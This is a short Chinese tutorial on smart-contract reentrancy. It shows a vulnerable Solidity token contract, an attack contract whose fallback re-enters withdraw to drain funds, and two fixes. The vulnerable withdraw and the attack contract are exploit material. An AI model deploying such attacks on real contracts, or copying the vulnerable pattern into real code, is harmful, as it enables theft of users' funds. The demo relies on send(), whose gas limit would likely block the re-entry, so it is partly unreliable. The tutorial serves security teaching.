智能合约的特点之一就是合约之间可以进行相互的外部调用。同时当我们往合约中发送代币的时候会触发合约的 receive
或者 fallback
函数。依据此特性就可以做出重入攻击。
重入攻击代码示例:
contract RoboToken {
mapping (address => uint) public balances;
constructor() public payable {
balances[msg.sender] += msg.value;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
bool sent = payable(msg.sender).send(_amount);
require(sent, 'Transition Failed');
balances[msg.sender] -= _amount;
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
// 攻击合约
contract ReentrancyAttack {
RoboToken public roboToken;
constructor(address _roboTokenAddress) public {
roboToken = RoboToken(_roboTokenAddress);
}
fallback() external payable {
if (address(roboToken).balance >= 1 ether) {
roboToken.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether);
roboToken.deposit{value: 1 ether}();
roboToken.withdraw(1 ether);
}
}
当我们调用攻击合约 ReentrancyAttack
的 attack
方法时
- 调用
RoboToken
的提现方法withdraw
。 - 提现方法内部会执行转账操作,转账操作会触发攻击合约
ReentrancyAttack
的fallback
fallback
内部又会执行提现方法,而此时balances[msg.sender] -= _amount;
未执行到, 所以仍满足balances[msg.sender] >= _amount
。如此便会一直循环。- 直到
RoboToken
的余额小于1 ether
避免重入攻击的方法也很简单。
一种方法是交换代码顺序,先处理状态,再执行转账
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
bool sent = payable(msg.sender).send(_amount);
require(sent, 'Transition Failed');
}
其次,还可以利用 modifier
加入防重入锁,避免 withdraw
未执行完的再次调用。
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function withdraw(uint _amount) public noReentrant {
require(balances[msg.sender] >= _amount);
bool sent = payable(msg.sender).send(_amount);
require(sent, 'Transition Failed');
balances[msg.sender] -= _amount;
}